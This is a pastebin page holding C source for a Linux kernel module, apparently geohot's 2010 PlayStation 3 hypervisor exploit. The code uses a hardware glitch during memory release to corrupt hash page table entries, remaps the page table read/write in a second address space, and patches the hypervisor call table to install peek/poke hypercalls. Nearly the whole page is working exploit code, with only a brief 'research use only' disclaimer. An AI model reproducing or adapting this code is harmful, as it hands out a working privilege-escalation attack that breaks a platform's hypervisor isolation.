Public Pastes
Guest

Diabliyo

By: a guest on Jan 27th, 2010  |  syntax: C  |  size: 16.20 KB  |  hits: 305  |  expires: Never
download  |  raw  |  embed  |  report abuse
Copied
  1. // PS3 exploit code
  2. //  c2010 geohot
  3. //  I DO NOT CONDONE PIRACY, EXPLOIT IS FOR RESEARCH USE ONLY
  4.  
  5. #include <linux/module.h>      
  6. #include <linux/kernel.h>      
  7. #include <linux/init.h>
  8. #include <linux/syscalls.h>
  9. #include <linux/fcntl.h>
  10.  
  11. #include <asm/abs_addr.h>
  12. #include <asm/mmu.h>
  13. #include <asm/lmb.h>
  14. #include <asm/io.h>
  15. #include <asm/tlb.h>
  16. #include <asm/lv1call.h>
  17.  
  18. #include <linux/kernel.h>
  19. #include <linux/threads.h>
  20. #include <linux/pci.h>
  21. #include <linux/sysdev.h>
  22. #include <asm/lv1call.h>
  23. #include <asm/pci-bridge.h>
  24.  
  25. #include <asm/uaccess.h>
  26. #include <asm/hw_irq.h>
  27. #include <linux/proc_fs.h>
  28. #include <linux/smp_lock.h>
  29.  
  30. #include <linux/irq.h>
  31.  
  32. void hexdump(unsigned long *d, int l) {
  33.         int i;
  34.         for(i=0;i<l;i+=4) {
  35.                 printk(KERN_ERR "%16.16lx %16.16lx %16.16lx %16.16lx\n", d[i], d[i+1], d[i+2], d[i+3]);
  36.         }
  37. }
  38.  
  39. unsigned long get_real_address_from_lpar(unsigned long add) {
  40.   unsigned long start_address, size, access_right, max_page_size, flags, gpu_ram, status, htab;
  41.   unsigned long va = 0x0001408F92C94401;
  42.   lv1_write_htab_entry(0,0,0,0);
  43.   status = lv1_query_logical_partition_address_region_info(add, &start_address, &size, &access_right, &max_page_size, &flags);
  44.   if(status != 0)
  45.     return 0xFFFFFFFFFFFFFFFF;
  46.   //lv1_query_logical_partition_address_region_info(add, &start_address, &size, &access_right, &max_page_size, &flags);
  47.   unsigned long pa = 0x0000000000000197 | start_address;
  48.   lv1_write_htab_entry(0,0,va,pa);
  49.   //lv1_write_htab_entry(0,0,va,pa);
  50.   // htab should be mapped @
  51.   htab = 0xD000080080000000;
  52.   return (((unsigned long*)0xD000080080000000)[1]>>12)&0xFFFFFFFFF;
  53. }
  54.  
  55.  
  56. #define LENGTH 0x1000000
  57. #define COUNT 0x40
  58.  
  59. volatile unsigned long cache_clear[0x100000];
  60.  
  61. volatile int exploit_first_stage() {
  62.   unsigned long lpar, lpar2, crap, g1, glitch=0, status, i;
  63.   printk(KERN_ERR "allocate memory: %d\n", lv1_allocate_memory(0x100000, 0x14, 0, 0, &lpar, &crap));
  64.   printk(KERN_ERR "PRESS THE BUTTON IN THE MIDDLE OF THIS\n");
  65.  
  66.   for(i=0;i<0x10000;i++) {
  67.     g1 = ((unsigned long*)0xD000080080000000)[i*2];
  68.     if( (g1 & 1) == 0 || (g1&0xFFFFFFFF00000000) == 0x0000FFFF00000000) {
  69.       // isn't valid or is previous crap
  70.       if(lv1_write_htab_entry(0,i,0x0000FFFF00000001|(i<<16) | ((((((i/8)^(((0x0000FFFF00000001|(i<<16))>>12) & 0x1FFF)) << 12)>>23)&0x1F)<<7) ,0x196|lpar) != 0) {
  71.         printk(KERN_ERR "bad HTAB write @ %X\n", i);
  72.       }
  73.       glitch++;
  74.     }
  75.   }
  76.   printk(KERN_ERR "added 0x%X HTAB entries\n", glitch);
  77.  
  78.   volatile register unsigned long j, t1, t2, k, l;
  79.  
  80. //****************KERNEL CHILL TIME BEGIN****************
  81.   unsigned long irq, irq1, flags = 0, stack;
  82.   irq = __pa(get_irq_chip_data(20));
  83.   irq1 = __pa(get_irq_chip_data(16));
  84.   spinlock_t mr_lock = SPIN_LOCK_UNLOCKED;
  85.   spin_lock_irqsave(&mr_lock, flags);
  86.   preempt_disable();
  87.   lock_kernel();
  88.   hard_irq_disable();
  89.   lv1_configure_irq_state_bitmap(1,0,0);
  90.   lv1_configure_irq_state_bitmap(1,1,0);
  91. //****************KERNEL CHILL TIME BEGIN****************
  92.  
  93.   // get craps in the icache
  94.   lv1_allocate_memory(0x1000, 0xC, 0, 0, &lpar2, &crap);
  95.   lv1_release_memory(lpar2);
  96.  
  97.   for(j=0;j<LENGTH;j++) {
  98.     if(j==(LENGTH/2)) {
  99.       t1 = mftb();
  100.       status = lv1_release_memory(lpar);
  101.       t2 = mftb();
  102.       memset(cache_clear, 0xAA, 0x100000);
  103.     }
  104.   }
  105.  
  106. //****************KERNEL CHILL TIME END****************
  107.   lv1_configure_irq_state_bitmap(1,1,irq1);
  108.   lv1_configure_irq_state_bitmap(1,0,irq);
  109.   __hard_irq_enable();
  110.   unlock_kernel();
  111.   preempt_enable();
  112.   spin_unlock_irqrestore(&mr_lock, flags);
  113. //****************KERNEL CHILL TIME END****************
  114.  
  115.   printk(KERN_ERR "time was 0x%lx, 0x%x per, %d\n", t2-t1, (t2-t1)/glitch, status);
  116.  
  117.   t1 = 0;
  118.   t2 = 0;
  119.  
  120.   for(i=0;i<0x10000;i++) {
  121.     g1 = ((unsigned long*)0xD000080080000000)[i*2];
  122.     if((g1&0xFFFFFFFF00000000) == 0x0000FFFF00000000) {
  123.       t1++;
  124.       if((g1 & 1) == 1) t2++;
  125.     }
  126.   }
  127.  
  128.   printk(KERN_ERR "now checking HTAB for win, %x/%x\n",t2,t1);
  129.   if(t2>0) {
  130.     printk(KERN_ERR "EXPLOIT ENTRY FOUND!!!!!\n");
  131.     return 0;
  132.   }
  133.  
  134.   return -1;
  135. }
  136.  
  137.  
  138. unsigned long SLB[128];
  139.  
  140. // 64 entries in the SLB
  141. inline int read_slb() {
  142.   unsigned long i, j;
  143.   unsigned long *entry;
  144.   for(i=0;i<64;i++) {
  145.      entry = &SLB[i*2];
  146.      __asm__ volatile("slbmfee 3, %0\n"
  147.                       "std 3, 0(%1)\n"
  148.                                   "slbmfev 3, %0\n"
  149.                       "std 3, 8(%1)\n"
  150.                         :
  151.                         : "r" (i), "r" (entry)
  152.                         : "r3");
  153.   }
  154.   return 0;
  155. }
  156.  
  157. // move into another virtual address space
  158.  
  159. unsigned long HTAB_0[0x20000];
  160. unsigned long HTAB_1[0x20000];
  161.  
  162. volatile long hypercall_in_c() {
  163.   return 0x8FFFFFFEF;
  164. }
  165.  
  166. volatile long call_hypercall_tlbia(unsigned long* r4) {
  167.   unsigned long ret;
  168.   unsigned long inr4 = *r4, outr4;
  169.   asm volatile("mr 3, %2\n"
  170.                "li 11, 16\n"
  171.                "sc 1\n"
  172.                "mr %0, 3\n"
  173.                "mr %1, 4\n"
  174.                : "=r" (ret), "=r" (outr4)
  175.                : "r" (inr4)
  176.                : "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12"  );
  177.   *r4 = outr4;
  178.   return ret;
  179. }
  180.  
  181. volatile int exploit_second_stage() {
  182.   unsigned long crap, j, slb1, slb2, msr, hsprg0;
  183.   unsigned long i, g1, g2, status, raff_ptr;
  184.   unsigned long vas_id, old_vas_id;
  185.   unsigned long act_htab_size;
  186.   //2, (24<<56)|(16<<48)
  187.   printk(KERN_ERR "construct address space: %d\n", lv1_construct_virtual_address_space(20, 2, 0x1814000000000000, &vas_id, &act_htab_size));
  188.   lv1_get_virtual_address_space_id_of_ppe(0, &old_vas_id);
  189.   printk(KERN_ERR "address space is %d, old was %d\n", vas_id, old_vas_id);
  190.   if(vas_id == 0) {
  191.     printk(KERN_ERR "ADDRESS SPACE FAIL\n");
  192.     return 0;
  193.   }
  194.  
  195.   read_slb();
  196.   for(i=0;i<0x40;i++) {
  197.     if((SLB[i*2]>>27)&1) {
  198.       printk(KERN_ERR "%lx %lx\n", SLB[i*2]&0xFFFFFFFFF0000000, SLB[(i*2)+1]>>12);
  199.     }
  200.   }
  201.   //hexdump(SLB, 128);
  202.  
  203.   unsigned long htab_lpar;
  204.   lv1_map_htab(0, &htab_lpar);
  205.   unsigned long htab_ra = get_real_address_from_lpar(htab_lpar);
  206.  
  207.   unsigned long other_htab_lpar;
  208.   lv1_map_htab(vas_id, &other_htab_lpar);
  209.   unsigned long* other_htab = __ioremap(other_htab_lpar, 0x100000, 3);
  210.   unsigned long other_htab_ra = get_real_address_from_lpar(other_htab_lpar);
  211.  
  212.   printk(KERN_ERR "fix values are %lx %lx\n", other_htab_lpar, vas_id);
  213.  
  214. // add the messed up one
  215.   for(raff_ptr=0;raff_ptr<0x10000;raff_ptr++) {
  216.     g1 = ((unsigned long*)0xD000080080000000)[raff_ptr*2];
  217.     g2 = ((unsigned long*)0xD000080080000000)[(raff_ptr*2)+1];
  218.     if( ((g1&0xFFFFFFFF00000000) == 0x0000FFFF00000000) && ((g1&1)==1)) { // && (((g2&0xFFFF000)>>12) == 0x400) ) {
  219.       printk(KERN_ERR "FOUND ENTRY %16.16lx %16.16lx @ %X\n", g1, g2, raff_ptr);
  220.       break;
  221.     }
  222.   }
  223.   if(raff_ptr==0x10000) {
  224.     printk(KERN_ERR "EXPLOIT NOT FOUND\n");
  225.     goto hard_die;
  226.   }
  227.  
  228.   if(other_htab_ra != ((g2&0xFFFF000)>>12) ) {
  229.     printk(KERN_ERR "BAD ADDRESS OF REGIONS HTAB\n");
  230.     goto die;
  231.   }
  232.  
  233.  
  234. // add the segment
  235.   crap = 0x5000000000000000;
  236.    __asm__ volatile("slbie %0\n"
  237.   :
  238.   : "r" (crap) );
  239.  
  240.   read_slb();
  241.   for(j=0;j<0x40;j++) {
  242.     if( ((SLB[j*2]>>27)&1) == 0) {
  243.       break;
  244.     }
  245.   }
  246.   // j is first SLB I can use
  247.   slb1 = 0x5000000008000000|j;
  248.   //slb2 = 0x0000FFFF00000400|(raff_ptr<<16);
  249.   slb2 = 0x0000FFFF00000400|(g1&0xFFFF0000);
  250.    __asm__ volatile("slbmte %0, %1\n"
  251.   :
  252.   : "r" (slb2), "r" (slb1) );
  253.  
  254.  
  255. // add the messed up PTE
  256.   unsigned long va = 0x5000000000000000;
  257.   va |= ((raff_ptr/8)^((g1>>12) & 0x1FFF)) << (((g1>>2)&1)?24:12);
  258.   printk(KERN_ERR "computed VA is %lx\n", va);
  259.  
  260.   unsigned long* other_htab_rw = va;
  261.   other_htab_rw[0] = 0x0000FFFF00000001;
  262.   other_htab_rw[1] = 0x0000000000000196|(htab_ra<<12);
  263.  
  264.  
  265.   unsigned long count = 0, valid_count = 0;
  266.   unsigned long my_lpar;
  267.  
  268.   unsigned long usb1_ra = get_real_address_from_lpar(0x4000001d0000);
  269.   unsigned long usb2_ra = get_real_address_from_lpar(0x4000001e0000);
  270.   unsigned long usb3_ra = get_real_address_from_lpar(0x4000001f0000);
  271.   unsigned long usb4_ra = get_real_address_from_lpar(0x400000200000);
  272.  
  273.   printk(KERN_ERR "0x4000001d0000 -> %lx\n", usb1_ra);
  274.   printk(KERN_ERR "0x4000001e0000 -> %lx\n", usb2_ra);
  275.   printk(KERN_ERR "0x4000001f0000 -> %lx\n", usb3_ra);
  276.   printk(KERN_ERR "0x400000200000 -> %lx\n", usb4_ra);
  277.  
  278.   // skip first entry, it's mine and important
  279.   for(i=1;i<0x10000;i++) {
  280.     g1 = ((unsigned long*)0xD000080080000000)[i*2];
  281.     g2 = ((unsigned long*)0xD000080080000000)[(i*2)+1];
  282.     if(g1&1) {
  283.       unsigned long va = 0xFFFFFFFFFFFFFFFF, ra;
  284.       for(j=0;j<0x40;j++) {
  285.         if((SLB[j*2]>>27)&1) {
  286.           if((SLB[(j*2)+1]>>12) == (g1>>12)) {
  287.             va = SLB[j*2]&0xFFFFFFFFF0000000;
  288.           }
  289.         }
  290.       }
  291.       if(va == 0xFFFFFFFFFFFFFFFF) {
  292.         continue;
  293.         //printk(KERN_ERR "ENTRY NOT FOUND IN SLB: %lx\n", (g1>>12));
  294.       }
  295.       valid_count++;
  296.  
  297.       va |= ((i/8)^((g1>>(7+5)) & 0x1FFF)) << (((g1>>2)&1)?24:12);
  298.       ra = g2 >> 12;
  299.  
  300.       my_lpar = 0xFFFFFFFFFFFFFFFF;
  301.  
  302.       if( ra >= 0x1000 && ra < 0x10000) {
  303.         if( ra >= 0x8000 ) {
  304.           my_lpar = (ra-0x8000) << 12;
  305.         } else {
  306.           my_lpar = 0x6c0058000000 | ((ra-0x1000)<<12);
  307.         }
  308.       } else if( (ra&0xFFFFFFFFFFFFFF00) == htab_ra) {
  309.         my_lpar = htab_lpar + ((ra-htab_ra) << 12);
  310.       } else if( (ra&0xFFFFFFFFFFFFFF00) == other_htab_ra) {
  311.         my_lpar = other_htab_lpar + ((ra-other_htab_ra) << 12);
  312.       } else if( ra == usb4_ra ) {
  313.         my_lpar = 0x400000200000;
  314.       } else if( ra == usb3_ra ) {
  315.         my_lpar = 0x4000001f0000;
  316.       } else if( ra == usb2_ra ) {
  317.         my_lpar = 0x4000001e0000;
  318.       } else if( ra == usb1_ra ) {
  319.         my_lpar = 0x4000001d0000;
  320.       } else if( ra == 0x3e0 ) {
  321.         my_lpar = 0x4000001a0000;
  322.       } else if( ra == 0x3e1 ) {
  323.         my_lpar = 0x4000001a1000;
  324.       } else if( ra == 0x8d3 ) {
  325.         my_lpar = 0x30000000e000;
  326.       } else if( ra == 0x8dd ) {
  327.         my_lpar = 0x300000010000;
  328.       } else if( ra == 0x202 ) {
  329.         my_lpar = 0x300000012000;
  330.       } else if( ra == 0x203 ) {
  331.         my_lpar = 0x300000014000;
  332.       } else if( ra == 0x3ac ) {
  333.         my_lpar = 0x300000016000;
  334.       } else if( ra == 0x3ad ) {
  335.         my_lpar = 0x300000018000;
  336.       } else if( ra >= 0x28000080 && ra < 0x28000088 ) {
  337.         my_lpar = 0x3c0000108000 + ((ra-0x28000080)*0x1000);
  338.       }
  339.  
  340.       if(my_lpar != 0xFFFFFFFFFFFFFFFF) {
  341.         if(lv1_write_htab_entry(vas_id, i, g1, (g2&0xFFF)|my_lpar) != 0) {
  342.           printk(KERN_ERR "write HTAB failed: %lx %lx\n", g1, (g2&0xFFF)|my_lpar);
  343.         } else {
  344.           count++;
  345.         }
  346.       } else {
  347.         printk(KERN_ERR "%4x: %lx %lx  ... %lx -> %lx\n", i, g1, g2, va, ra);
  348.       }
  349.  
  350.       if(other_htab[i*2] != g1 || other_htab[(i*2)+1] != g2) {
  351.         printk(KERN_ERR "verify failed on %X\n", i);
  352.         printk(KERN_ERR "%lx %lx -- %lx %lx\n", g1, g2, other_htab[i*2], other_htab[(i*2)+1]);
  353.         //goto home;
  354.       }
  355.     }
  356.   }
  357.  
  358.   printk(KERN_ERR "wrote 0x%X/0x%X htab entries\n", count, valid_count);
  359.  
  360.   hexdump(other_htab, 4);
  361.   printk(KERN_ERR "OOO R/W\n");
  362.   hexdump(other_htab_rw, 4);
  363.  
  364. // add the segment different
  365.   crap = 0x5000000000000000;
  366.    __asm__ volatile("slbie %0\n"
  367.   :
  368.   : "r" (crap) );
  369.  
  370.   read_slb();
  371.   for(j=0;j<0x40;j++) {
  372.     if( ((SLB[j*2]>>27)&1) == 0) {
  373.       break;
  374.     }
  375.   }
  376.   // j is first SLB I can use
  377.   slb1 = 0x5000000008000000|j;
  378.   slb2 = 0x0000FFFF00000400;
  379.    __asm__ volatile("slbmte %0, %1\n"
  380.   :
  381.   : "r" (slb2), "r" (slb1) );
  382.  
  383.  
  384.   printk(KERN_ERR "GOING UNDERCOVER\n");
  385.  
  386. //****************KERNEL CHILL TIME BEGIN****************
  387.   unsigned long irq, irq1, flags = 0;
  388.   irq = __pa(get_irq_chip_data(20));
  389.   irq1 = __pa(get_irq_chip_data(16));
  390.   spinlock_t mr_lock = SPIN_LOCK_UNLOCKED;
  391.   spin_lock_irqsave(&mr_lock, flags);
  392.   preempt_disable();
  393.   lock_kernel();
  394.   hard_irq_disable();
  395.   lv1_configure_irq_state_bitmap(1,0,0);
  396.   lv1_configure_irq_state_bitmap(1,1,0);
  397. //****************KERNEL CHILL TIME BEGIN****************
  398.  
  399.  
  400.   status = lv1_select_virtual_address_space(vas_id);
  401.  
  402.   // OMG, CRAZY, IN OTHER SPACE
  403.   unsigned long* htab_rw = 0x5000000000000000;
  404.   // middle part is 0 cause in position 0
  405.  
  406.   // add htab r/w to itself
  407.   htab_rw[2] = 0x0000FFFF00000005;
  408.   htab_rw[3] = 0x0000000000000196;
  409.  
  410.   lv1_select_virtual_address_space(old_vas_id);
  411. //****************KERNEL CHILL TIME END****************
  412.   lv1_configure_irq_state_bitmap(1,1,irq1);
  413.   lv1_configure_irq_state_bitmap(1,0,irq);
  414.   __hard_irq_enable();
  415.   unlock_kernel();
  416.   preempt_enable();
  417.   spin_unlock_irqrestore(&mr_lock, flags);
  418. //****************KERNEL CHILL TIME END****************
  419.  
  420.   printk(KERN_ERR "prease i lived?!?!?: %d\n", status);
  421.  
  422.   // add the segment different again
  423.   crap = 0x5000000000000000;
  424.    __asm__ volatile("slbie %0\n"
  425.   :
  426.   : "r" (crap) );
  427.  
  428.   read_slb();
  429.   for(j=0;j<0x40;j++) {
  430.     if( ((SLB[j*2]>>27)&1) == 0) {
  431.       break;
  432.     }
  433.   }
  434.   // j is first SLB I can use
  435.   slb1 = 0x5000000008000000|j;
  436.   slb2 = 0x0000FFFF00000500;
  437.    __asm__ volatile("slbmte %0, %1\n"
  438.   :
  439.   : "r" (slb2), "r" (slb1) );
  440.  
  441. home:
  442.   printk(KERN_ERR "unmap other HTAB: %d\n", lv1_unmap_htab(other_htab_lpar));
  443.   printk(KERN_ERR "destruct address space: %d\n", lv1_destruct_virtual_address_space(vas_id));
  444.  
  445.   hexdump(0xD000080080000000, 0x10);
  446.  
  447.   return 0;
  448. die:
  449.   printk(KERN_ERR "unmap other HTAB: %d\n", lv1_unmap_htab(other_htab_lpar));
  450.   printk(KERN_ERR "destruct address space: %d\n", lv1_destruct_virtual_address_space(vas_id));
  451.   return -1;
  452. hard_die:
  453.   printk(KERN_ERR "unmap other HTAB: %d\n", lv1_unmap_htab(other_htab_lpar));
  454.   printk(KERN_ERR "destruct address space: %d\n", lv1_destruct_virtual_address_space(vas_id));
  455.   return -2;
  456. }
  457.  
  458.  
  459. void add_segment() {
  460.   // add the segment different again
  461.   unsigned long crap, j, slb1, slb2;
  462.   crap = 0x5000000000000000;
  463.    __asm__ volatile("slbie %0\n"
  464.   :
  465.   : "r" (crap) );
  466.  
  467.   read_slb();
  468.   for(j=0;j<0x40;j++) {
  469.     if( ((SLB[j*2]>>27)&1) == 0) {
  470.       break;
  471.     }
  472.   }
  473.   // j is first SLB I can use
  474.   slb1 = 0x5000000008000000|j;
  475.   slb2 = 0x0000FFFF00000500;
  476.    __asm__ volatile("slbmte %0, %1\n"
  477.   :
  478.   : "r" (slb2), "r" (slb1) );
  479. }
  480.  
  481. volatile long lv1_peek(unsigned long real_addr) {
  482.   unsigned long ret;
  483.   asm volatile("mr 3, %1\n"
  484.                "li 11, 16\n"
  485.                "sc 1\n"
  486.                "mr %0, 3\n"
  487.                : "=r" (ret)
  488.                : "r" (real_addr)
  489.                : "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12");
  490.   return ret;
  491. }
  492.  
  493.  
  494. volatile long lv1_poke(unsigned long real_addr, unsigned long data) {
  495.   unsigned long ret;
  496.   asm volatile("mr 4, %2\n"
  497.                "mr 3, %1\n"
  498.                "li 11, 20\n"
  499.                "sc 1\n"
  500.                "mr %0, 3\n"
  501.                : "=r" (ret)
  502.                : "r" (real_addr), "r" (data)
  503.                : "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12");
  504.   return ret;
  505. }
  506.  
  507. void install_hypercall() {
  508.   unsigned long lpar, crap;
  509.  
  510.   hexdump(0xD000080080000000, 0x10);
  511.  
  512.   if( *((unsigned long *)0xD000080080000010) != 0x0000FFFF00000005 ||
  513.       *((unsigned long *)0xD000080080000018) != 0x0000000000000196) {
  514.     printk(KERN_ERR "killer entry NOT present\n");
  515.     return 0;
  516.   }
  517.  
  518.   printk(KERN_ERR "allocate memory: %d\n", lv1_allocate_memory(0x1000, 0xC, 0, 0, &lpar, &crap));
  519.   unsigned long* hypercall_in_zero_page = __ioremap(lpar, 0x1000, PAGE_SHARED_X);
  520.  
  521.   hypercall_in_zero_page[0] = 0xE86300004E800020;
  522.   hypercall_in_zero_page[1] = 0xF883000038600000;
  523.   hypercall_in_zero_page[2] = 0x4E80002000000000;
  524.  
  525.   unsigned long real_address = get_real_address_from_lpar(lpar)<<12;
  526.  
  527.   add_segment();
  528.   unsigned long* hv_call_table = 0x500000000037C598;
  529.   hv_call_table[16] = real_address;
  530.   hv_call_table[20] = real_address+0x8;
  531.   printk(KERN_ERR "calling hypercall test got %16.16lx\n", lv1_peek(0x2401FC00000));
  532. }
  533.  
  534. volatile int init_module() {
  535.   if( *((unsigned long *)0xD000080080000010) != 0x0000FFFF00000005 ||
  536.       *((unsigned long *)0xD000080080000018) != 0x0000000000000196) {
  537.     while(exploit_first_stage() == -1);
  538.     while(exploit_second_stage() == -1);
  539.   }
  540.   install_hypercall();
  541.   return 0;
  542. }
  543.  
  544. void cleanup_module(void) {
  545.   printk(KERN_ERR "cleanup_module() called\n");
  546. }
create a new version of this paste RAW Paste Data